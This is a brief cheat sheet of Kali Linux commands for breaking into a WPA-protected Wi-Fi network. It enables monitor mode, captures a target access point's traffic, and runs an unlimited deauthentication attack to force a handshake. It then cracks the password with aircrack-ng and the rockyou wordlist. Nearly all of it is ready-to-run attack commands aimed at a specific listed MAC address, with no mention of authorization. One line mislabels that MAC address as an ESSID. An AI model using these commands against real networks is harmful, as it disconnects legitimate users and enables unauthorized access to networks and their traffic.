Airmon Commands

See version of Kali

cat /etc/os-release
uname -a

kill processes

sudo airmon-ng check kill

Start monitor mode

sudo airmon-ng start wlan0

Verify that monitor mode is used

sudo airmon-ng

You could also use iwconfig to check that interface is in monitor

iwconfig

Get the AP's MAC address and channel

sudo airodump-ng wlan0mon

AP-MAC & channel - you need to select your own here:

ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

1st Window:
Make sure you replace the channel number and bssid with your own
Replace hack1 with your file name like capture1 or something

sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

2nd Window - deauth attack
Make sure you replace the bssid with your own

sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file

wireshark hack1-01.cap

Filter Wireshark messages for EAPOL

eapol

Stop monitor mode

airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist
!Make sure you have rockyou in text format (unzip file on Kali)
!Replace hack1-01.cap with your file name

aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt